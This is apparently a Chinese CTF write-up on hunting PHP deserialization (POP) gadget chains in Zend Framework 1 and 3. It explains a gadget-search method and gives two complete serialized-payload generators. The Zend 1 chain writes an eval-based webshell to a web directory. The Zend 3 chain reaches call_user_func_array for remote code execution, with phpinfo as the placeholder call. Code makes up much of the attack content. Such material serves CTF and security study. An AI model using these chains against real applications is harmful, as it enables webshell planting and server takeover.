zend框架pop链挖掘

zend 框架pop挖掘

前言

前几天打了下das和pwnhub,审计zend框架的pop链,这里总结一下研究成果。

寻找利用链的一些思路

  1. 入口通常是__destruct,或者__wakeup方法。

  2. 结尾一般是存在file_put_contents或者call_user_funccall_user_func_array的方法,其中,任意方法调用基本上要在__call方法中去寻找,在找不到合适的call方法时,可以试着找找可以使用的__invoke的方法。

  3. 从入口到结尾一般需要寻找一系列函数作为跳板,如果目标是__call方法的话,个人习惯用一个寻找形如**$xxx->$yyy()**这样的方法,这样方法名和对象名均可控,易于触发任意方法执行。

    一般使用这个正则查找。

    1
    \$(.*?)->\$(.*?)\(
  4. 还有一个可以提的跳板__toString方法,这个方法触发起来相当容易,基本上只要变量被当做字符来处理就可以触发。

  5. __get__set方法主要用来填补一些找不到属性的情况,有些时候会有用。

zend 1下pop链的挖掘

这个链比较简单,首先明确下zend版本1.12.16,down下来./zf.sh create project /xxx/zf1,很可惜这只能写shell。

  1. 首先找到__destruct,找头。

    image-20201228135911662

  2. __call,找尾call_user_func_array,发现这里的call和3不太一样,没法调用任意方法只有call_user_func_array([xxx,xxx],$paras);这样的,之后想找别的思路,找一个file_put_contents的点。

  3. 把所有file_put_contents的点看了下,发现Zend_CodeGenerator_Php_File中的的file_put_contents几乎完全可控。其中Zend_Log会调用write方法,这个需要注意php中调用xxx->write()**时参数多传是没事的,所以直接伪造_writers**即可。

    1
    2
    3
    4
    5
    6
    7
    8
    public function write(){
    if ($this->_filename == '' || !is_writable(dirname($this->_filename))) {
    require_once 'Zend/CodeGenerator/Php/Exception.php';
    throw new Zend_CodeGenerator_Php_Exception('This code generator object is not writable.');
    }
    file_put_contents($this->_filename, $this->generate());
    return $this;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function log($message, $priority, $extras = null)
    {
    // sanity check
    ...
    // send to each writer
    /** @var Zend_Log_Writer_Abstract $writer */
    foreach ($this->_writers as $writer) {
    $writer->write($event);
    }

    }
  4. 理清思路

    image-20201228141322709

    image-20201228141436352

    image-20201228141606959

    image-20201228141738680

  5. 上poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    <?php
    class Zend_Memory_Manager
    {
    private $_backend = null;

    public function setBackend($_backend)
    {
    $this->_backend = $_backend;
    }
    }

    class Zend_Log
    {
    protected $_writers = array();
    protected $_priorities = array();

    public function setWriters($_writers)
    {
    $this->_writers = $_writers;
    }

    public function setPriorities($_priorities)
    {
    $this->_priorities = $_priorities;
    }
    }


    class Zend_CodeGenerator_Php_File
    {
    protected $_filename = null;
    protected $_isSourceDirty = true;
    protected $_sourceContent = null;
    protected $_docblock = null;


    public function setFilename($_filename)
    {
    $this->_filename = $_filename;
    }

    public function setIsSourceDirty($_isSourceDirty)
    {
    $this->_isSourceDirty = $_isSourceDirty;
    }

    public function setSourceContent($_sourceContent)
    {
    $this->_sourceContent = $_sourceContent;
    }

    public function setDocblock($docblock)
    {
    $this->docblock = $docblock;
    }
    }

    class Zend_CodeGenerator_Php_Docblock
    {
    protected $_docblock = null;

    public function setDocblock($_docblock)
    {
    $this->_docblock = $_docblock;
    }
    }

    $mm = new Zend_Memory_Manager;
    $writer = new Zend_Log;
    $phpfile = new Zend_CodeGenerator_Php_File;
    $phpblock = new Zend_CodeGenerator_Php_Docblock;
    $phpfile->setFilename("/var/www/html/public/asdw.php");
    $phpfile->setSourceContent("<?php echo(md5(1));@eval(\$_POST[1]);?>");
    $phpfile->setIsSourceDirty(false);
    $phpblock->setDocblock(false);

    $writer->setWriters([$phpfile]);
    $writer->setPriorities(["CLEAN"]);
    $phpfile->setDocblock($phpblock);
    $mm->setBackend($writer);


    echo urlencode(base64_encode(serialize($mm)));

zend3 pop rce

最新版的zend,冲就是了。

  1. 这边__destruct方法就比较少了就三个,这里我那unlink的文件名来触发__toString,这里作为头。

    image-20201231174147817

  2. 然后是继续找合适的call_user_func_array方法,找尾。可以使用__call,但我这里找了个更好的方法Zend\Validator\Callback,这个方法的代码大体如下,这里可以直接通过**$callback$callbackOptions**来直接控制方法和参数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    public function isValid($value, $context = null)
    {
    $this->setValue($value);

    $options = $this->getCallbackOptions();
    $callback = $this->getCallback();
    if (empty($callback)) {
    throw new Exception\InvalidArgumentException('No callback given');
    }

    $args = [$value];
    if (empty($options) && ! empty($context)) {
    $args[] = $context;
    }
    if (! empty($options) && empty($context)) {
    $args = array_merge($args, $options);
    }
    if (! empty($options) && ! empty($context)) {
    $args[] = $context;
    $args = array_merge($args, $options);
    }

    try {
    if (! call_user_func_array($callback, $args)) {
    $this->error(self::INVALID_VALUE);
    return false;
    }
    } catch (\Exception $e) {
    $this->error(self::INVALID_CALLBACK);
    return false;
    }

    return true;
    }

    和例如Zend\View\Renderer\PhpRenderer这类方法的__call,这里的**$plugin**变量最终是完全可控的,但和上面那个方法名和参数不需要处理的链比起来倒是不方便很多。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public function __call($method, $argv)
    {
    $plugin = $this->plugin($method);

    if (is_callable($plugin)) {
    return call_user_func_array($plugin, $argv);
    }

    return $plugin;
    }
  1. 找个合适的__toString方法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public function __toString()
    {
    return $this->toString();
    }

    public function toString()
    {
    return $this->getFieldName() . ': ' . $this->getUri();
    }

    public function getUri()
    {
    if ($this->uri instanceof UriInterface) {
    return $this->uri->toString();
    }
    return $this->uri;
    }

    这里可以通过设置**$url,触发AbstractHelper**的toString方法

    image-20201231191607426

  2. 继续跟进

    image-20201231191733120

    这里defaultProxy的变量默认的返回值menu

    image-20201231191816680

    跟进get方法

    image-20201231191846286

    image-20201231192503745

    这里getFactory能够返回一个对应的数组或者内部类的实例。

    image-20201231192801020

  3. 通过__invoke触发后续调用。

    这里有个trick,可以使用[xxx,method]() 来直接xxx实例的method方法(仅限php7以上),或者实例化Zend\Validator\Callback类来触发__invoke方法。

    image-20201231193512239

    跟入isValid方法中,这里需要注意的是call_user_func_array被传入的第一个参数来自doCreate函数的第一个参数,之后的参数可以由**$callbackOptions**返回。

    image-20201231193538615

  4. 最终poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    <?php


    namespace Zend\Http\Response;

    class Stream
    {
    protected $cleanup;
    protected $streamName;

    public function setCleanup($cleanup)
    {
    $this->cleanup = $cleanup;
    }

    public function setStreamName($streamName)
    {
    $this->streamName = $streamName;
    }
    }




    namespace Zend\Http\Header;

    class Referer
    {
    protected $uri;

    public function setUri($uri)
    {
    $this->uri = $uri;
    }
    }



    namespace Zend\View\Helper;

    class Navigation
    {
    protected $plugins;

    public function setPlugins($plugins)
    {
    $this->plugins = $plugins;
    }
    }


    namespace Zend\Config;

    class Config
    {
    protected $data = [];
    protected $allowModifications = true;
    public function setData($data)
    {
    $this->data = $data;
    }
    }

    namespace Zend\Validator;

    class Callback
    {
    protected $options = [
    'callback' => null, // Callback in a call_user_func format, string || array
    'callbackOptions' => [], // Options for the callback
    ];

    public function setOptions($options)
    {
    $this->options = $options;
    }
    }



    namespace Zend\ServiceManager;

    class ServiceManager
    {
    private $resolvedAliases = [];
    protected $creationContext;
    protected $delegators = [];
    protected $services = [];
    protected $factories;
    protected $abstractFactories = [];

    public function setDelegators($delegators)
    {
    $this->delegators = $delegators;
    }

    public function setFactories($factories)
    {
    $this->factories = $factories;
    }

    public function setCreationContext($creationContext)
    {
    $this->creationContext = $creationContext;
    }

    public function setServices($services)
    {
    $this->services = $services;
    }
    }

    use Zend\Http\Header\Referer;
    use Zend\View\Helper\Navigation;
    use Zend\Http\Response\Stream;
    use Zend\Validator\Callback;


    $s = new Stream;
    $s->setCleanup(true);
    $al = new Referer;
    $n = new Navigation;
    $s1 = new ServiceManager;

    $callback = new Callback;
    $callback->setOptions(['callback' => 'phpinfo', 'callbackOptions' => []]);

    $arr = $callback;


    $s1->setFactories(["menu" => $arr]);
    $s1->setCreationContext(-1);
    $n->setPlugins($s1);
    $al->setUri($n);
    $s->setStreamName($al);



    echo urlencode(base64_encode(serialize($s)));

总结

实际上这轮pop不算特别难,认真找找也能出东西,中间调试也踩了不少坑,比较遗憾的是暂时还没找出zend 1 rce的链。下午又看了下是应该有的才对,问题应该也出在render方法上,然后再结合个__get函数来完成任意方法调用就好了。现在本人的找链的方法主要还是跟着危险函数找,正则拉出来一个一个对,不知道是不是能做自动化。反正这些坑以后再填好了(咕)。